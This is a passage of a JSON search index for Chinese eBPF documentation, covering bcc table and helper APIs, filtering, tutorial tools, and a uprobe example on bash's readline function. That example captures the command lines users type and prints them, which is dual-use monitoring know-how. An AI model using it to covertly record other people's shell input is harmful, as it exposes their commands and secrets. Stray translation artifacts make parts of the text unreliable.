Reference Guide » Map APIs","id":"337","title":"Map APIs"},"338":{"body":"语法: BPF.get_table(name)\".返回一个table对象。由于可以将表格作为BPF项进行读取，因此此功能不再使用。例如：BPF[name]。 示例： counts = b.get_table(\"counts\") counts = b[\"counts\"] 这两者是等价的。","breadcrumbs":"bcc Reference Guide » 1. get_table()","id":"338","title":"1. get_table()"},"339":{"body":"语法：table.open_perf_buffers(callback, page_cnt=N, lost_cb=None) 此操作基于BPF中定义的表格（BPF_PERF_OUTPUT()），将回调Python函数callback关联到在perf环形缓冲区中有数据可用时调用。这是从内核传输每个事件的数据到用户空间的推荐机制的一部分。可以通过page_cnt参数指定perf环形缓冲区的大小，默认为8个页面，必须是页数的2的幂次方。如果回调函数不能快速处理数据，则可能丢失某些提交的数据。lost_cb用于记录/监视丢失的计数。如果lost_cb是默认的None值，则只会打印一行消息到stderr。 示例： # 处理事件\ndef print_event(cpu, data, size): event = ct.cast(data, ct.POINTER(Data)).contents [...] # 循环通过回调函数打印事件\nb[\"events\"].open_perf_buffer(print_event)\nwhile 1: try: b.perf_buffer_poll() except KeyboardInterrupt: exit() 请注意，传输的数据结构需要在BPF程序中以C方式声明。例如： // 在C中定义输出数据结构\nstruct data_t { u32 pid; u64 ts; char comm[TASK_COMM_LEN];\n};\nBPF_PERF_OUTPUT(events);\n[...] 在Python中，您可以让bcc自动生成C声明中的数据结构（建议方法）： def print_event(cpu, data, size): event = b[\"events\"].event(data)\n[...] 或者手动定义： # 在Python中定义输出数据结构\nTASK_COMM_LEN = 16 # linux/sched.h\nclass Data(ct.Structure): _fields_ = [(\"pid\", ct.c_ulonglong), (\"ts\", ct.c_ulonglong), (\"comm\", ct.c_char * TASK_COMM_LEN)]\"。def print_event(cpu, data, size): event = ct.cast(data, ct.POINTER(Data)).contents\n[...] 在此处的示例中：\n[code](https://github.com/iovisor/bcc/blob/v0.9.0/examples/tracing/hello_perf_output.py#L52),\n[search /examples](https://github.com/iovisor/bcc/search?q=open_perf_buffer+path%3Aexamples+language%3Apython&type=Code),\n[search /tools](https://github.com/iovisor/bcc/search?q=open_perf_buffer+path%3Atools+language%3Apython&type=Code) ### 3. items() 语法: ```table.items()``` 返回一个表中的键数组。它可以与BPF_HASH映射一起使用，从而获取并迭代键。 示例: ```Python\n# 打印输出\nprint(\"%10s %s\" % (\"COUNT\", \"STRING\"))\ncounts = b.get_table(\"counts\")\nfor k, v in sorted(counts.items(), key=lambda counts: counts[1].value): print(\"%10d \\\"%s\\\"\" % (v.value, k.c.encode('string-escape'))) 此示例还使用sorted()方法按值排序。 在此处的示例中： search /examples , search /tools 。","breadcrumbs":"bcc Reference Guide » 2. open_perf_buffer()","id":"339","title":"2. open_perf_buffer()"},"34":{"body":"uprobe是一种用户空间探针，uprobe探针允许在用户空间程序中动态插桩，插桩位置包括：函数入口、特定偏移处，以及函数返回处。当我们定义uprobe时，内核会在附加的指令上创建快速断点指令（x86机器上为int3指令），当程序执行到该指令时，内核将触发事件，程序陷入到内核态，并以回调函数的方式调用探针函数，执行完探针函数再返回到用户态继续执行后序的指令。 uprobe基于文件，当一个二进制文件中的一个函数被跟踪时，所有使用到这个文件的进程都会被插桩，包括那些尚未启动的进程，这样就可以在全系统范围内跟踪系统调用。 uprobe适用于在用户态去解析一些内核态探针无法解析的流量，例如http2流量（报文header被编码，内核无法解码），https流量（加密流量，内核无法解密）。","breadcrumbs":"使用 uprobe 捕获 bash 的 readline 函数调用 » 什么是uprobe","id":"34","title":"什么是uprobe"},"340":{"body":"语法: table.values() 返回一个表中的值数组。","breadcrumbs":"bcc Reference Guide » 4. values()","id":"340","title":"4. values()"},"341":{"body":"语法: table.clear() 清除表：删除所有条目。 示例: # 每秒打印映射摘要：\nwhile True: time.sleep(1) print(\"%-8s\\n\" % time.strftime(\"%H:%M:%S\"), end=\"\") dist.print_log2_hist(sym + \" return:\") dist.clear() 在此处的示例中: search /examples , search /tools 。","breadcrumbs":"bcc Reference Guide » 5. clear()","id":"341","title":"5. clear()"},"342":{"body":"语法: table.items_lookup_and_delete_batch()。返回一个使用一次BPF系统调用在表中的键的数组。可以与BPF_HASH映射一起使用以获取和迭代键。还会清除表：删除所有条目。 您应该使用table.items_lookup_and_delete_batch()而不是table.items()后跟table.clear()。它需要内核v5.6。 示例: # 每秒打印调用率:\nprint(\"%9s-%9s-%8s-%9s\" % (\"PID\", \"COMM\", \"fname\", \"counter\"))\nwhile True: for k, v in sorted(b['map'].items_lookup_and_delete_batch(), key=lambda kv: (kv[0]).pid): print(\"%9s-%9s-%8s-%9d\" % (k.pid, k.comm, k.fname, v.counter)) sleep(1)","breadcrumbs":"bcc Reference Guide » 6. items_lookup_and_delete_batch()","id":"342","title":"6. items_lookup_and_delete_batch()"},"343":{"body":"语法: table.items_lookup_batch() 使用一次BPF系统调用返回表中的键数组。可以与BPF_HASH映射一起使用以获取和迭代键。 您应该使用table.items_lookup_batch()而不是table.items()。它需要内核v5.6。 示例: # 打印映射的当前值:\nprint(\"%9s-%9s-%8s-%9s\" % (\"PID\", \"COMM\", \"fname\", \"counter\"))\nwhile True: for k, v in sorted(b['map'].items_lookup_batch(), key=lambda kv: (kv[0]).pid): print(\"%9s-%9s-%8s-%9d\" % (k.pid, k.comm, k.fname, v.counter))","breadcrumbs":"bcc Reference Guide » 7. items_lookup_batch()","id":"343","title":"7. items_lookup_batch()"},"344":{"body":"语法: table.items_delete_batch(keys) 当keys为None时，它会清除BPF_HASH映射的所有条目。它比table.clear()更有效，因为它只生成一个系统调用。您可以通过给出一个键数组来删除映射的一个子集。这些键及其关联值将被删除。它需要内核v5.6。 参数: keys是可选的，默认为None。","breadcrumbs":"bcc Reference Guide » 8. items_delete_batch()","id":"344","title":"8. items_delete_batch()"},"345":{"body":"语法: table.items_update_batch(keys, values) 使用新值更新所有提供的键。两个参数必须具有相同的长度并且在映射限制之内（在1到最大条目之间）。它需要内核v5.6。 参数: keys是要更新的键列表 values是包含新值的列表。### 10. print_log2_hist() 语法: table.print_log2_hist(val_type=\"value\", section_header=\"Bucket ptr\", section_print_fn=None) 以ASCII的形式打印一个表格作为log2直方图。该表必须以log2的形式存储，可使用BPF函数bpf_log2l()完成。 参数: val_type: 可选，列标题。 section_header: 如果直方图有一个辅助键，多个表格将被打印，并且section_header可以用作每个表格的标题描述。 section_print_fn: 如果section_print_fn不为None，则将传递给bucket值。 示例: b = BPF(text=\"\"\"\nBPF_HISTOGRAM(dist); int kprobe__blk_account_io_done(struct pt_regs *ctx, struct request *req)\n{ dist.increment(bpf_log2l(req->__data_len / 1024)); return 0;\n}\n\"\"\")\n[...] b[\"dist\"].print_log2_hist(\"kbytes\") 输出: kbytes : count distribution 0 -> 1 : 3 | | 2 -> 3 : 0 | | 4 -> 7 : 211 |********** | 8 -> 15 : 0 | | 16 -> 31 : 0 | | 32 -> 63 : 0 | | 64 -> 127 : 1 | | 128 -> 255 : 800 |**************************************| 这个输出显示了一个多模式分布，最大模式是128->255 kbytes，计数为800。 这是一种高效的数据概括方法，因为概括是在内核中执行的，只有计数列被传递到用户空间。 实际示例: 搜索 /examples , 搜索 /tools","breadcrumbs":"bcc Reference Guide » 9. items_update_batch()","id":"345","title":"9. items_update_batch()"},"346":{"body":"以ASCII字符形式打印一个线性直方图的表格。此功能旨在可视化小的整数范围，例如0到100。 参数: val_type: 可选，列标题。 section_header: 如果直方图有一个二级键，则会打印多个表格，并且section_header可以用作每个表格的头部描述。 section_print_fn: 如果section_print_fn不为None，则会将bucket的值传递给它。 示例: b = BPF(text=\"\"\"\nBPF_HISTOGRAM(dist); int kprobe__blk_account_io_done(struct pt_regs *ctx, struct request *req)\n{ dist.increment(req->__data_len / 1024); return 0;\n}\n\"\"\")\n[...] b[\"dist\"].print_linear_hist(\"kbytes\") 输出: kbytes : count distribution 0 : 3 |****** | 1 : 0 | | 2 : 0 | | 3 : 0 | | 4 : 19 |****************************************| 5 : 0 | | 6 : 0 | | 7 : 0 | | 8 : 4 |******** | 9 : 0 | | 10 : 0 | | 11 : 0 | | 12 : 0 | | 13 : 0 | | 14 : 0 | | 15 : 0 | |。\n```### 16 : 2 |**** |\n[...] 这是一种高效的数据汇总方式，因为汇总是在内核中执行的，只有计数列中的值传递到用户空间。 现场示例: 搜索 /examples , 搜索 /tools","breadcrumbs":"bcc Reference Guide » 11. print_linear_hist()\".语法: table.print_linear_hist(val_type=\"value\", section_header=\"Bucket ptr\", section_print_fn=None)","id":"346","title":"11. print_linear_hist()\".语法: table.print_linear_hist(val_type=\"value\", section_header=\"Bucket ptr\", section_print_fn=None)"},"347":{"body":"语法: table.open_ring_buffer(callback, ctx=None) 此操作用于在BPF中定义为BPF_RINGBUF_OUTPUT()的表，并将Python回调函数callback与ringbuf环形缓冲区中有可用数据时调用相连。这是从内核向用户空间传输每个事件数据的新（Linux 5.8+）推荐机制的一部分。不同于perf缓冲区，ringbuf大小在BPF程序中指定，作为BPF_RINGBUF_OUTPUT宏的一部分。如果回调函数处理数据不够快，可能会丢失一些提交的数据。在这种情况下，事件应该更频繁地进行轮询和/或增加环形缓冲区的大小。 示例: # 处理事件\ndef print_event(ctx, data, size): event = ct.cast(data, ct.POINTER(Data)).contents [...] # 循环并使用print_event回调函数\nb[\"events\"].open_ring_buffer(print_event)\nwhile 1: try: b.ring_buffer_poll() except KeyboardInterrupt: exit() 请注意，在BPF程序中，传输的数据结构需要在C中声明。例如: // 在C中定义输出数据结构\nstruct data_t { u32 pid; u64 ts; char comm[TASK_COMM_LEN];\n};\nBPF_RINGBUF_OUTPUT(events, 8);\n[...] 在Python中，您可以让bcc自动从C的声明中生成数据结构（推荐）: def print_event(ctx, data, size): event = b[\"events\"].event(data)\n[...] 或者手动定义: TASK_COMM_LEN = 16 # linux/sched.h\nclass Data(ct.Structure): _fields_ = [(\"pid\", ct.c_ulonglong), (\"ts\", ct.c_ulonglong), (\"comm\", ct.c_char * TASK_COMM_LEN)] def print_event(ctx, data, size): event = ct.cast(data, ct.POINTER(Data)).contents\n[...] 在原地的示例: 在/examples中搜索 ,","breadcrumbs":"bcc Reference Guide » 12. open_ring_buffer()","id":"347","title":"12. open_ring_buffer()"},"348":{"body":"语法: table.push(leaf, flags=0) 将元素推入堆栈或队列表。如果操作不成功，会引发异常。传递QueueStack.BPF_EXIST作为标志会使队列或堆栈丢弃最旧的元素，如果表已满。 在原地的示例: 在/tests中搜索 ,","breadcrumbs":"bcc Reference Guide » 13. push()","id":"348","title":"13. push()"},"349":{"body":"语法: leaf = table.pop() 从堆栈或队列表中弹出一个元素。与peek()不同，pop()在返回元素之前会将其从表中移除。如果操作不成功，会引发KeyError异常。 在原地的示例: 在/tests中搜索 ,","breadcrumbs":"bcc Reference Guide » 14. pop()","id":"349","title":"14. pop()"},"35":{"body":"uprobe 是一种用于捕获用户空间函数调用的 eBPF 的探针，我们可以通过它来捕获用户空间程序调用的系统函数。 例如，我们可以使用 uprobe 来捕获 bash 的 readline 函数调用，从而获取用户在 bash 中输入的命令行。示例代码如下： #include \n#include \n#include  #define TASK_COMM_LEN 16\n#define MAX_LINE_SIZE 80 /* Format of u[ret]probe section definition supporting auto-attach: * u[ret]probe/binary:function[+offset] * * binary can be an absolute/relative path or a filename; the latter is resolved to a * full binary path via bpf_program__attach_uprobe_opts. * * Specifying uprobe+ ensures we carry out strict matching; either \"uprobe\" must be * specified (and auto-attach is not possible) or the above format is specified for * auto-attach. */\nSEC(\"uretprobe//bin/bash:readline\")\nint BPF_KRETPROBE(printret, const void *ret)\n{ char str[MAX_LINE_SIZE]; char comm[TASK_COMM_LEN]; u32 pid; if (!ret) return 0; bpf_get_current_comm(&comm, sizeof(comm)); pid = bpf_get_current_pid_tgid() >> 32; bpf_probe_read_user_str(str, sizeof(str), ret); bpf_printk(\"PID %d (%s) read: %s \", pid, comm, str); return 0;\n}; char LICENSE[] SEC(\"license\") = \"GPL\"; 这段代码的作用是在 bash 的 readline 函数返回时执行指定的 BPF_KRETPROBE 函数，即 printret 函数。 在 printret 函数中，我们首先获取了调用 readline 函数的进程的进程名称和进程 ID，然后通过 bpf_probe_read_user_str 函数读取了用户输入的命令行字符串，最后通过 bpf_printk 函数打印出进程 ID、进程名称和输入的命令行字符串。 除此之外，我们还需要通过 SEC 宏来定义 uprobe 探针，并使用 BPF_KRETPROBE 宏来定义探针函数。 在 SEC 宏中，我们需要指定 uprobe 的类型、要捕获的二进制文件的路径和要捕获的函数名称。例如，上面的代码中的 SEC 宏的定义如下： SEC(\"uprobe//bin/bash:readline\") 这表示我们要捕获的是 /bin/bash 二进制文件中的 readline 函数。 接下来，我们需要使用 BPF_KRETPROBE 宏来定义探针函数，例如： BPF_KRETPROBE(printret, const void *ret) 这里的 printret 是探针函数的名称，const void *ret 是探针函数的参数，它代表被捕获的函数的返回值。 然后，我们使用了 bpf_get_current_comm 函数获取当前任务的名称，并将其存储在 comm 数组中。 bpf_get_current_comm(&comm, sizeof(comm)); 使用 bpf_get_current_pid_tgid 函数获取当前进程的 PID，并将其存储在 pid 变量中。 pid = bpf_get_current_pid_tgid() >> 32; 使用 bpf_probe_read_user_str 函数从用户空间读取 readline 函数的返回值，并将其存储在 str 数组中。 bpf_probe_read_user_str(str, sizeof(str), ret); 最后使用 bpf_printk 函数输出 PID、任务名称和用户输入的字符串。 bpf_printk(\"PID %d (%s) read: %s \", pid, comm, str); eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 编译运行上述代码： $ ecc bashreadline.bpf.c\nCompiling bpf object...\nPacking ebpf object and config into package.json...\n$ sudo ecli run package.json\nRuning eBPF program... 运行这段程序后，可以通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出： $ sudo cat /sys/kernel/debug/tracing/trace_pipe bash-32969 [000] d..31 64001.375748: bpf_trace_printk: PID 32969 (bash) read: fff bash-32969 [000] d..31 64002.056951: bpf_trace_printk: PID 32969 (bash) read: fff 可以看到，我们成功的捕获了 bash 的 readline 函数调用，并获取了用户在 bash 中输入的命令行。","breadcrumbs":"使用 uprobe 捕获 bash 的 readline 函数调用 » 使用 uprobe 捕获 bash 的 readline 函数调用","id":"35","title":"使用 uprobe 捕获 bash 的 readline 函数调用"},"350":{"body":"语法: leaf = table.peek() 查看堆栈或队列表头部的元素。与pop()不同，peek()不会将元素从表中移除。如果操作不成功，会引发异常。 在原地的示例: 在/tests中搜索 ,","breadcrumbs":"bcc Reference Guide » 15. peek()","id":"350","title":"15. peek()"},"351":{"body":"一些由bcc提供的辅助方法。请注意，因为我们在Python中，我们可以导入任何Python库及其方法，包括例如argparse、collections、ctypes、datetime、re、socket、struct、subprocess、sys和time等库。","breadcrumbs":"bcc Reference Guide » 辅助方法","id":"351","title":"辅助方法"},"352":{"body":"语法: BPF.ksym(addr) 将内核内存地址转换为内核函数名称，并返回该名称。 示例: 格式: 只返回转换后的内容，不包括原始文本。```markdown\nprint(\"内核函数：\" + b.ksym(addr)) 例子： 搜索 /examples , 搜索 /tools","breadcrumbs":"bcc Reference Guide » 1. ksym()","id":"352","title":"1. ksym()"},"353":{"body":"语法：BPF.ksymname(name) 将内核名称翻译为地址。这是ksym的反向过程。当函数名称未知时，返回-1。 例子： print(\"内核地址：%x\" % b.ksymname(\"vfs_read\")) 例子： 搜索 /examples , 搜索 /tools","breadcrumbs":"bcc Reference Guide » 2. ksymname()","id":"353","title":"2. ksymname()"},"354":{"body":"语法：BPF.sym(addr, pid, show_module=False, show_offset=False) 将内存地址翻译为pid的函数名称，并返回。小于零的pid将访问内核符号缓存。show_module和show_offset参数控制是否显示函数所在的模块以及是否显示从符号开头的指令偏移量。这些额外参数的默认值为False。 例子： print(\"函数：\" + b.sym(addr, pid)) 例子： 搜索 /examples , 搜索 /tools","breadcrumbs":"bcc Reference Guide » 3. sym()","id":"354","title":"3. sym()"},"355":{"body":"语法：BPF.num_open_kprobes() 返回打开的k[ret]probe的数量。当使用event_re附加和分离探测点时，可以发挥作用。不包括perf_events读取器。 例子： b.attach_kprobe(event_re=pattern, fn_name=\"trace_count\")\nmatched = b.num_open_kprobes()\nif matched == 0: print(\"0个函数与\\\"%s\\\"匹配。程序退出。\" % args.pattern) exit() 例子：\" 搜索 /示例 , 搜索 /工具","breadcrumbs":"bcc Reference Guide » 4. num_open_kprobes()","id":"355","title":"4. num_open_kprobes()"},"356":{"body":"语法: BPF.get_syscall_fnname(name : str) 返回系统调用的相应内核函数名。该辅助函数将尝试不同的前缀，并与系统调用名连接起来。请注意，返回值可能在不同版本的Linux内核中有所不同，有时会引起问题。 （见 #2590 ） 示例: print(\"在内核中，%s 的函数名是 %s\" % (\"clone\", b.get_syscall_fnname(\"clone\")))\n# sys_clone 或 __x64_sys_clone 或 ... 现场示例: 搜索 /示例 , 搜索 /工具","breadcrumbs":"bcc Reference Guide » 5. get_syscall_fnname()","id":"356","title":"5. get_syscall_fnname()"},"357":{"body":"请参阅内核源码中的“Understanding eBPF verifier messages”部分，位于 Documentation/networking/filter.txt。","breadcrumbs":"bcc Reference Guide » BPF 错误","id":"357","title":"BPF 错误"},"358":{"body":"这可能是因为试图直接读取内存，而不是操作BPF堆栈上的内存。所有对内核内存的读取必须通过 bpf_probe_read_kernel() 传递，以将内核内存复制到BPF堆栈中，在一些简单关联的情况下，bcc 重写器可以自动完成。bpf_probe_read_kernel() 执行所有必要的检查。 示例: bpf: Permission denied\n0: (bf) r6 = r1\n1: (79) r7 = *(u64 *)(r6 +80)\n2: (85) call 14\n3: (bf) r8 = r0\n[...]\n23: (69) r1 = *(u16 *)(r7 +16)\nR7 invalid mem access 'inv' Traceback (most recent call last): File \"./tcpaccept\", line 179, in  b = BPF(text=bpf_text) File \"/usr/lib/python2.7/dist-packages/bcc/__init__.py\", line 172, in __init__ self._trace_autoload()\".\n/usr/lib/python2.7/dist-packages/bcc/__init__.py\"，第 612 行，_trace_autoload 中： fn = self.load_func(func_name, BPF.KPROBE) 文件 \"/usr/lib/python2.7/dist-packages/bcc/__init__.py\"，第 212 行，load_func 中： raise Exception(\"加载 BPF 程序 %s 失败\" % func_name)\nException: 加载 BPF 程序 kretprobe__inet_csk_accept 失败","breadcrumbs":"bcc Reference Guide » 1. Invalid mem access","id":"358","title":"1. Invalid mem access"},"359":{"body":"当非 GPL BPF 程序调用 GPL-only 辅助函数时，会出现此错误。要修复此错误，请勿在专有 BPF 程序中使用 GPL-only 辅助函数，或者将 BPF 程序重新授权为 GPL-compatible 许可证。请查看哪些 BPF helpers 是 GPL-only 的，并且哪些许可证被视为 GPL-compatible。 示例，从专有程序（#define BPF_LICENSE Proprietary）调用 bpf_get_stackid()，一种 GPL-only 的 BPF helper： bpf: 加载程序失败：无效参数\n[...]\n8: (85) 调用 bpf_get_stackid#27\n无法从专有程序调用 GPL-only 函数","breadcrumbs":"bcc Reference Guide » 2. 无法从专有程序调用 GPL-only 函数","id":"359","title":"2. 无法从专有程序调用 GPL-only 函数"},"36":{"body":"在上述代码中，我们使用了 SEC 宏来定义了一个 uprobe 探针，它指定了要捕获的用户空间程序 (bin/bash) 和要捕获的函数 (readline)。此外，我们还使用了 BPF_KRETPROBE 宏来定义了一个用于处理 readline 函数返回值的回调函数 (printret)。该函数可以获取到 readline 函数的返回值，并将其打印到内核日志中。通过这样的方式，我们就可以使用 eBPF 来捕获 bash 的 readline 函数调用，并获取用户在 bash 中输入的命令行。 更多的例子和详细的开发指南，请参考 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。","breadcrumbs":"使用 uprobe 捕获 bash 的 readline 函数调用 » 总结","id":"36","title":"总结"},"360":{"body":"","breadcrumbs":"bcc Reference Guide » 环境变量","id":"360","title":"环境变量"},"361":{"body":"eBPF 程序编译需要内核源代码或已编译的内核头。如果你的内核源代码位于无法被 BCC 找到的非标准位置，可以通过将 BCC_KERNEL_SOURCE 设置为该路径的绝对路径来为 BCC 提供所需的位置信息。","breadcrumbs":"bcc Reference Guide » 1. 内核源代码目录","id":"361","title":"1. 内核源代码目录"},"362":{"body":"默认情况下，BCC 将 LINUX_VERSION_CODE 存储在生成的 eBPF 对象中，并在加载 eBPF 程序时传递给内核。有时，这可能非常不方便，尤其是当内核略有更新时，比如 LTS 内核发布。微小的不匹配几乎不会导致加载的 eBPF 程序出现任何问题。通过将 BCC_LINUX_VERSION_CODE 设置为正在运行的内核版本，可以绕过验证内核版本的检查。这对于程序是必需的。使用kprobes的程序需要以(VERSION * 65536) + (PATCHLEVEL * 256) + SUBLEVEL的格式进行编码。例如，如果当前运行的内核是4.9.10，则可以设置export BCC_LINUX_VERSION_CODE=264458以成功地覆盖内核版本检查。","breadcrumbs":"bcc Reference Guide » 2. 内核版本覆盖","id":"362","title":"2. 内核版本覆盖"},"363":{"body":"某些工具具有特殊的过滤能力，主要用例是跟踪运行在容器中的进程，但这些机制是通用的，也可以在其他情况下使用。","breadcrumbs":"Special Filtering » 特殊过滤","id":"363","title":"特殊过滤"},"364":{"body":"某些工具有一个通过引用外部管理的固定的BPF哈希映射来按cgroup过滤的选项。 命令示例： # ./opensnoop --cgroupmap /sys/fs/bpf/test01\n# ./execsnoop --cgroupmap /sys/fs/bpf/test01\n# ./tcpconnect --cgroupmap /sys/fs/bpf/test01\n# ./tcpaccept --cgroupmap /sys/fs/bpf/test01\n# ./tcptracer --cgroupmap /sys/fs/bpf/test01 上述命令将仅显示属于一个或多个cgroup的进程的结果，这些cgroup的ID由bpf_get_current_cgroup_id()返回，并存在固定的BPF哈希映射中。 通过以下方式创建BPF哈希映射： # bpftool map create /sys/fs/bpf/test01 type hash key 8 value 8 entries 128 \\ name cgroupset flags 0 要在新cgroup中获取一个shell，可以使用： # systemd-run --pty --unit test bash 该shell将在cgroup/sys/fs/cgroup/unified/system.slice/test.service中运行。 可以使用name_to_handle_at()系统调用来发现cgroup ID。在examples/cgroupid中，您可以找到一个获取cgroup ID的程序示例。 # cd examples/cgroupid\n# make\n# ./cgroupid hex /sys/fs/cgroup/unified/system.slice/test.service 或者，使用Docker： # cd examples/cgroupid\n# docker build -t cgroupid .\n# docker run --rm --privileged -v /sys/fs/cgroup:/sys/fs/cgroup \\ cgroupid cgroupid hex /sys/fs/cgroup/unified/system.slice/test.service 这将以主机的字节序(hexadecimal string)打印出cgroup ID，例如77 16 00 00 01 00 00 00。 # FILE=/sys/fs/bpf/test01\n# CGROUPID_HEX=\"77 16 00 00 01 00 00 00\"\n# bpftool map update pinned $FILE key hex $CGROUPID_HEX value hex 00 00 00 00 00 00 00 00 any 现在，通过systemd-run启动的shell的cgroup ID已经存在于BPF哈希映射中，bcc工具将显示来自该shell的结果。可以添加和。从BPF哈希映射中删除而不重新启动bcc工具。 这个功能对于将bcc工具集成到外部项目中非常有用。","breadcrumbs":"Special Filtering » 按 cgroups过滤","id":"364","title":"按 cgroups过滤"},"365":{"body":"BPF哈希映射可以通过以下方式创建： # bpftool map create /sys/fs/bpf/mnt_ns_set type hash key 8 value 4 entries 128 \\ name mnt_ns_set flags 0 仅执行execsnoop工具，过滤挂载命名空间在/sys/fs/bpf/mnt_ns_set中： # tools/execsnoop.py --mntnsmap /sys/fs/bpf/mnt_ns_set 在新的挂载命名空间中启动一个终端： # unshare -m bash 使用上述终端的挂载命名空间ID更新哈希映射： FILE=/sys/fs/bpf/mnt_ns_set\nif [ $(printf '\\1' | od -dAn) -eq 1 ]; then HOST_ENDIAN_CMD=tac\nelse HOST_ENDIAN_CMD=cat\nfi NS_ID_HEX=\"$(printf '%016x' $(stat -Lc '%i' /proc/self/ns/mnt) | sed 's/.\\{2\\}/&\\n/g' | $HOST_ENDIAN_CMD)\"\nbpftool map update pinned $FILE key hex $NS_ID_HEX value hex 00 00 00 00 any 在这个终端中执行命令： # ping kinvolk.io 你会看到在上述你启动的execsnoop终端中，这个调用被记录下来： # tools/execsnoop.py --mntnsmap /sys/fs/bpf/mnt_ns_set\n[sudo] password for mvb:\nPCOMM PID PPID RET ARGS\nping 8096 7970 0 /bin/ping kinvolk.io\n```。","breadcrumbs":"Special Filtering » 按命名空间选择挂载点进行过滤","id":"365","title":"按命名空间选择挂载点进行过滤"},"366":{"body":"本教程介绍如何使用 bcc 工具快速解决性能、故障排除和网络问题。如果你想开发新的bcc工具，请参考 tutorial_bcc_python_developer.md 教程。 本教程假设bcc已经安装好，并且你可以成功运行像execsnoop这样的工具。参见 INSTALL.md 。这些功能是在Linux 4.x系列中增加的。","breadcrumbs":"bcc Tutorial » bcc 教程","id":"366","title":"bcc 教程"},"367":{"body":"一些快速的收获。","breadcrumbs":"bcc Tutorial » 可观察性","id":"367","title":"可观察性"},"368":{"body":"在使用bcc之前，你应该从Linux基础知识开始。可以参考 Linux Performance Analysis in 60,000 Milliseconds 文章，其中介绍了以下命令： uptime dmesg | tail vmstat 1 mpstat -P ALL 1 pidstat 1 iostat -xz 1 free -m sar -n DEV 1 sar -n TCP,ETCP 1 top","breadcrumbs":"bcc Tutorial » 0. 使用bcc之前","id":"368","title":"0. 使用bcc之前"},"369":{"body":"这是一个用于性能调查的通用检查清单，首先有一个列表，然后详细描述： execsnoop opensnoop ext4slower（或btrfs*，xfs*，zfs*） biolatency biosnoop cachestat tcpconnect tcpaccept tcpretrans runqlat profile 这些工具可能已经安装在你的系统的/usr/share/bcc/tools目录下，或者你可以从bcc github仓库的/tools目录中运行它们，这些工具使用.py扩展名。浏览50多个可用的工具，获得更多的分析选项。 1.1 execsnoop # ./execsnoop\nPCOMM PID RET ARGS\nsupervise 9660 0 ./run\nsupervise 9661 0 ./run\nmkdir 9662 0 /bin/mkdir -p ./main\nrun 9663 0 ./run\n[...] execsnoop对于每个新进程打印一行输出。检查短生命周期的进程。这些进程可能会消耗CPU资源，但不会在大多数周期性运行的进程监控工具中显示出来。它通过跟踪exec()来工作，而不是fork()，所以它可以捕获许多类型的新进程，但不是所有类型（例如，它不会看到启动工作进程的应用程序，该应用程序没有exec()其他任何内容）。 更多 例子 。 1.2. opensnoop # ./opensnoop\nPID COMM FD ERR PATH\n1565 redis-server 5 0 /proc/1565/stat\n1565 redis-server 5 0 /proc/1565/stat\n1565 redis-server 5 0 /proc/1565/stat\n1603 snmpd 9 0 /proc/net/dev\n1603 snmpd 11 0 /proc/net/if_inet6\n1603 snmpd -1 2 /sys/class/net/eth0/device/vendor\n1603 snmpd 11 0 /proc/sys/net/ipv4/neigh/eth0/retrans_time_ms\n1603 snmpd 11 0 /proc/sys/net/ipv6/neigh/eth0/retrans_time_ms\n1603 snmpd 11 0 /proc/sys/net/ipv6/conf/eth0/forwarding\n[...] opensnoop每次open() syscall执行时打印一行输出，包括详细信息。 打开的文件可以告诉你很多关于应用程序的工作方式的信息：它们的数据文件、配置文件和日志文件。有时候应用程序可能会表现不正常，当它们不断尝试读取不存在的文件时则会表现得很差。opensnoop能够快速帮助你查看。 更多 例子 。 1.3. ext4slower（或btrfs*，xfs*，zfs*） # ./ext4slower\n追踪超过10毫秒的ext4操作\n时间 进程 进程ID T 字节数 偏移KB 延迟(ms) 文件名\n06:35:01 cron 16464 R 1249 0 16.05 common-auth\n06:35:01 cron 16463 R 1249 0 16.04 common-auth\n06:35:01 cron 16465 R 1249 0 16.03 common-auth\n06:35:01 cron 16465 R 4096 0 10.62 login.defs\n06:35:01 cron 16464 R 4096 0 10.61 login.defs ext4slower跟踪ext4文件系统，并计时常见操作，然后只打印超过阈值的操作。这对于识别或证明一种性能问题非常方便：通过文件系统单独显示较慢的磁盘 I/O。磁盘以异步方式处理 I/O，很难将该层的延迟与应用程序所经历的延迟关联起来。在内核堆栈中更高层的追踪，即在 VFS -> 文件系统接口中，会更接近应用程序遭受的延迟。使用此工具来判断文件系统的延迟是否超过了给定的阈值。 在 bcc 中存在其他文件系统的类似工具：btrfsslower、xfsslower 和 zfsslower。还有一个名为 fileslower 的工具，它在 VFS 层工作并跟踪所有内容（尽管会有更高的开销）。 更多 示例 。 1.4. biolatency # ./biolatency\n跟踪块设备的 I/O... 按 Ctrl-C 结束。\n^C 微秒 : 数量 分布 0 -> 1 : 0 | | 2 -> 3 : 0 | | 4 -> 7 : 0 | | 8 -> 15 : 0 | | 16 -> 31 : 0 | | 32 -> 63 : 0 | | 64 -> 127 : 1 | | 128 -> 255 : 12 |******** | 256 -> 511 : 15 |********** | 512 -> 1023 : 43 |******************************* | 1024 -> 2047 : 52 |**************************************| 2048 -> 4095 : 47 |********************************** | 4096 -> 8191 : 52 |**************************************| 8192 -> 16383 : 36 |************************** | 16384 -> 32767 : 15 |********** |。32768 -> 65535 : 2 |* | 65536 -> 131071 : 2 |* | biolatency跟踪磁盘I/O延迟（从设备执行到完成的时间），当工具结束（Ctrl-C，或给定的间隔）时，它会打印延迟的直方图摘要。 这对于了解超出iostat等工具提供的平均时间的磁盘I/O延迟非常有用。在分布的末尾将可见I/O延迟的异常值，以及多种模式的分布。 更多 示例 。 1.5. biosnoop # ./biosnoop\nTIME(s) COMM PID DISK T SECTOR BYTES LAT(ms)\n0.000004001 supervise 1950 xvda1 W 13092560 4096 0.74\n0.000178002 supervise 1950 xvda1 W 13092432 4096 0.61\n0.001469001 supervise 1956 xvda1 W 13092440 4096 1.24\n0.001588002 supervise 1956 xvda1 W 13115128 4096 1.09\n1.022346001 supervise 1950 xvda1 W 13115272 4096 0.98\n1.022568002 supervise 1950 